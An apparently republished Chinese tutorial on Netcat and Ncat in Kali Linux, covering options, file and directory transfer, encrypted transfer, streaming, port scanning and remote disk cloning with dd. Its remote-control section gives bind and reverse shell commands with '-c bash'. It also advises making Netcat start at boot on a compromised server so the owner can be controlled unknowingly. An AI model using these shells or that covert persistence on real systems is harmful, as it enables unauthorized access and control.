基礎-kali滲透基礎工具NetCat--(須要掌握)

NC是一個功能強大的基礎經常使用工具嗎,它能作下面這些事情
能夠做爲偵聽模式和傳輸模式
telnet/獲取banner信息
傳輸文本信息
傳輸文件/目錄
加密傳輸文件
遠程控制/木馬
加密全部流量
流媒體服務器
遠程克隆硬盤


鏈接: nc -參數 地址 端口
偵聽:nc -l -p 端口 -參數
-c shell命令
-e 程序重定向,一旦鏈接,就執行 [危險!!]
-b 容許廣播
-g<網關> 設置路由器躍程通訊網關,最多可設置8個。
-G<指向器數目> 設置來源路由指向器,其數值爲4的倍數。
-h 在線幫助。
-i<延遲秒數> 設置時間間隔,以便傳送信息及掃描通訊端口。
-l 使用監聽模式,管控傳入的資料。
-n 直接使用IP地址,而不經過域名服務器。
-o<輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。
-p<通訊端口> 設置本地主機使用的通訊端口。
-r 亂數指定本地與遠端主機的通訊端口。
-q<延遲秒數> 命令執行完成secs秒後斷開鏈接
-s<來源位址> 設置本地主機送出數據包的IP地址。
-T<服務類型> 設置服務類型
-t
-u 使用UDP傳輸協議。
-v 顯示指令執行過程。
-w<超時秒數> 設置等待連線的時間。
-z 使用0輸入/輸出模式,只在掃描通訊端口時使用。
注意:nc在不一樣系統和版本中可以使用的參數不同。而且NC無論在任何系統平臺中都不會被殺毒軟件查殺

nc -nv 0.0.0.0 端口號 則是鏈接nc服務端linux

電腦A:nc -l -p 端口號       建立服務    -l 是監聽模式 監聽客戶端發送的請求 -p是端口號 打開本地端口號讓客戶端鏈接
電腦B:nc -nv 0.0.0.0 端口號   鏈接服務   -n是指定IP地址不指定IP地址沒法鏈接(不可使用localhost或者hostname)   -v是詳細輸出請求內容 若是用兩個v會輸出更詳細的內容 例如 nc -nvv 0.0.0.0 端口號複製代碼

遠程電子取證信息收集

電腦A:nc -l -p 端口號 >XXX文件     做用則是將客戶端請求過來的文件發送到XXX文件中保存 若是不加> xxx文件 則直接顯示在服務端屏幕
電腦B:ls -l | nc -nv 0.0.0.0 端口號 做用是將查詢到的信息直接發送到nc服務端複製代碼
這樣的作法能夠保證在不動系統文件的狀況下進行電子取證信息收集


傳輸文件/目錄
傳輸文件

電腦A:nc -lp 333 > 1.mp4        這裏是將收到的視頻文件或者其餘文件 打包到1.MP4 固然若是發生的TXT也能夠寫成 > 1.txt
電腦B:nc -nv 0.0.0.0 333 < 1.mp4 -q 1 這裏是發送視頻文件到nc服務端 後面-q 1的意思是快速發送文件 成功之後將會在1秒結束對話複製代碼
或者

電腦A:nc -q 1 -lp 333 < a.mp4     這個和上面的例子相同 惟一不一樣處則是-q 1 加在了服務端這裏 如 客戶端發送一個文件到服務端之後 服務端接收完畢則會在1秒結束對話
電腦B:nc -nv 0.0.0.0 333 > 2.mp4 這裏就是發送文件到服務端複製代碼
傳輸目錄

電腦A:tar -cvf - 文件目錄/ | nc -lp 333 -q 1  這段話的意思則是 將須要發送的目錄在發送前壓縮位一個文件發送到服務端       tar工具中的參數  c是壓縮 x是詳細信息 f是文件  x是解壓電腦B:nc -nv 0.0.0.0 333 | tar -xvf -        服務端接收到客戶端發送的文件後則會自動解壓爲一個目錄複製代碼

前面的客戶端與服務端發送文件和數據請求是明文,很容易被其餘人中途截取,並作修改在發送到服務端,爲此,下面則是加密傳輸文件
重點:加密傳輸文件

電腦A:nv -lp 333 | mcrypt  -flush -Fbqd -a rijndael-256 -m ecb > 1.mp4  nc把接收到的數據給mcrypt進行解密 而且保存爲指定文件 這裏指定的爲mp4
電腦B:mcrypt --flush -Fbq -a  rijndael-256 -m ecb < a.mp4 | nc -nv 0.0.0.0 333 -q 1  mcrypt先對a.mp4進行加密  在交給nc發送出去複製代碼
上方使用的加密工具則是mcrypt工具 kali中默認是不會安裝這個工具的他是由PHP編寫的 若是要使用這個軟件 須要手動安裝 apt-get install mcrypt 當用客戶端發送文件時 會讓設置密碼 當服務端收到文件之後會進行身份驗證
其中 上面命令中使用的參數 -flush 意思是加密/解密完成後 進行銷燬加密密匙 不會保存本地
-Fbq 加密 -Fbqd解密 -m指定加密或解密 -a一種算法指定加密或解密 rijndael-256 爲加密算法中的一種 ecd爲加密方法 其中更多功能不作詳細解釋


NC-流媒體服務

電腦A: cat 1.mp4 | nc -lp 333 這個命令的意思是利用cat打開mp4文件而且待發送的狀態
電腦B: 0.0.0.0 333 | mplayer -vo x11 -cache 3000 - 這個命令的意思是鏈接上nc服務端後用mplayer視頻播放器打開nc服務端視頻並播放複製代碼
上面使用的mplayer工具 kali中默認是沒有安裝這個工具的 能夠選擇其餘播放器 可是必須支持命令行的 須要使用這個工具請輸入 apt-get install mplayer 進行安裝 -vo是選擇視頻輸出驅動程序 x11是指定調整字幕的延遲時間和視頻屏幕對比度 -cache 3000 - 是限制視頻緩存大小字節/KB單位


NC-端口掃描 

nc -nvz 0.0.0.0 1-65535   其中z是使用0進行IO模式端口掃描 1-65535是將1~65535全部的端口所有掃描一遍
nc -nvzu 0.0.0.0 1-1024 其中u是使用UDP協議進行掃描端口1-1024是將1~1024端口進行掃描複製代碼

當你在掃描時能夠看得出netcat在掃描時,使用的是客戶進行掃描的 NC端口掃描只是簡單基礎的工具 沒法準確判斷掃描端口是否打開 它會默認所有顯示open狀態 固然 這種狀態是由防火牆 殺毒軟件之類的干擾形成的 能夠不使用,但須要了解知道這個功能


NC-遠程克隆硬盤
遠程克隆硬盤,在電子取證中使用也是較多的 能夠將目標服務器硬盤遠程複製下來 或者內存中的東西 先來講下克隆硬盤(塊級別)和把硬盤的全部文件複製(文件級別)出來的區別 當咱們刪除文件時 這個文件的數據並無在硬盤被抹除掉 而只是被操做系統標記爲了刪除(若是學了數據庫和數據庫裏面的邏輯刪除很類似)當須要存儲新數據的時候 操做系統可能會把新數據覆蓋已被標記刪除的數據所在扇區 因此直接複製硬盤的文件並不會把已經刪除的文件複製出來 可是克隆硬盤能夠實現
塊級別的複製可使用dd命令
例子以下:

電腦A:nc -lp 333 | dd of=/dev/sda  這個爲接收端  of的意思是輸出文件名
電腦B:dd if=/dev/sda | nc -nv 0.0.0.0 333 -q1  這個是發送端  if的意思輸入文件名複製代碼

固然 若是你足夠細心的話會發現這個dd命令也能夠在本地使用(題外話)例如在本地etc中有個文件想要備份到dev目錄下你能夠直接使用 dd if=/etc/文件名稱 of=/dev/文件名稱 也能夠掛載其餘硬盤發送到另外一塊硬盤上面


NC-遠程控制
正向:

電腦A:nc -lp 333 -c bash   c是shell命令行模式
電腦B:nc 0.0.0.0 333 鏈接服務端命令行複製代碼
正向遠程鏈接是客戶端能夠操控服務端
反向:

電腦A:nc -lp 333         開啓服務端
電腦B:nc 0.0.0.0 333 -c bash 用bash shell命令行模式鏈接服務端進行遠程控制複製代碼
反向遠程鏈接 服務端能夠操控客戶端
這裏指定c爲bash也就是linux命令行模式 linux命令行shell有不少種例如csh zsh fish等 可是bash是linux系統中 用的最多的一個shell命令 遠程操控後 並不會顯示當前用戶是誰
注意:若是操做系統是windows shell就要修改成cmd 不能使用bash或者其餘linux shell 前提是windows上面已經安裝了NC 不然是沒法鏈接的
這裏說一個技巧:拿下一臺服務器之後能夠在已經獲取最高權限的服務器中啓動系統的腳本中稍做修改 讓Netcat服務端隨着系統的啓動而啓動 在被操控用戶徹底不知情的狀況下進行遠程控制 固然也須要注意是否能夠遠程鏈接(在管理員管理不嚴格的狀況下是能夠的)


NC-NCAT
NC缺少加密和身份驗證的能力 上方加密也只是利用第三方工具針對文件進行加密 若是傳輸的是其餘的數據 例如雙方聊天 遠程控制 則會明文傳輸 第三方人員想要嗅探是能夠徹底嗅探到所作的事情 沒有安全性
Ncat能夠彌補NC中缺少的加密和身份驗證的能力包含於nmap工具包中

電腦A:ncat  -c bash --allow 0.0.0.0 -vnl 333 --ssl    allow指容許某個指定的IP地址遠程連接到這裏  v是顯示詳細信息   n是不經過dns解析主機名  l是偵聽綁定端口並偵聽傳入連接的端口  ssl是一種加密協議 輸入ncat --help 能夠查詢更多
電腦B:ncat -nv 0.0.0.0 333 --ssl     當服務端是哪一種加密協議 客戶端應當輸入一樣的加密協議,每次連接ssl加密協議會變動,哪怕第三方人員嗅探到的密文想要破解也是很差破解的,不一樣系統/平臺的NC參數功能不盡相同複製代碼
NC能實現的功能 Ncat都能實現的 NC雖然強大 可是每一個版本的NC參數變化很大 版本詳細信息請百度 若是使用不一樣linux平臺不知道如何使用 請查看手冊 nc -help ncat --help

轉載請註明出處!!!算法

相關文章
相關標籤/搜索